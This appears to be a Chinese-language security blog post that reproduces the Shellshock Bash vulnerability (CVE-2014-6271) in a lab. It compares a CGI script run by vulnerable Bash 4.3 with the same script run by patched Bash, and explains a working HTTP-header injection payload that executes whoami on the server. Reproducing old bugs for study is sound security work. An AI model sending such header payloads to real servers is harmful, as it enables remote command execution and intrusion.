Shellshock-CVE-2014-6271

漏洞范围

该漏洞在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。

漏洞具体成因

1)Linux Web Server 一般可以提供CGI接口,允许远程执行Bash命令

2)对于 http 头部,CGI 脚本解析器会将其当作环境变量,调用Bash的env相关函数设置到临时环境变量中

3)Http 允许发送任意客户端自定义的 HTTP头部

大家此时有没有想法?

小白 : 包的呀!

大神 :access getshell

是的,我们可以构造好带攻击命令的HTTP头部到服务器,服务器调用设置环境变量的函数,直接执行了客户端指定头部里面的命令

复现过程

我们使用两个版本进行对比

一个是Bash4.3 生成的页面,一个是修复版的Bash生成的页面

victim.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/local/bash-4.3.0/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">'
echo '<title>Bash ShellShock</title>'
echo '</head>'
echo '<body>'
echo '<p>'
echo 'Hello world'
echo '</p>'
echo '</body>'
echo '</html>'
exit 0

safe.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">'
echo '<title>Bash ShellShock</title>'
echo '</head>'
echo '<body>'
echo '<p>'
echo 'Hello world'
echo '</p>'
echo '</body>'
echo '</html>'
exit 0

payload

1
() { foo; }; echo Content-Type: text/plain; echo; /usr/bin/whoami

解释一下

  1. () { foo; };:这定义了一个匿名函数,函数体仅包含对 foo 命令的调用。不过,代码里并未对 foo 命令进行定义,所以在执行时会报错。
  2. echo Content-Type: text/plain;:此命令会向标准输出打印 Content-Type: text/plain。在 HTTP 响应里,Content-Type 一般用于表明响应内容的类型。
  3. echo;:该命令会输出一个空行,在 HTTP 响应里,空行用于分隔响应头和响应体。
  4. /usr/bin/whoami:这个命令会输出当前用户的用户名

实践

victim.cgi

你没看错执行了!

image-20250402114915300

safe.cgi

没有把攻击命令当作变量执行了

image-20250402114708372


Shellshock-CVE-2014-6271
https://ydnd.github.io/2025/04/02/Shellshock-CVE-2014-6271/
Author
IE
Posted on
April 2, 2025
Licensed under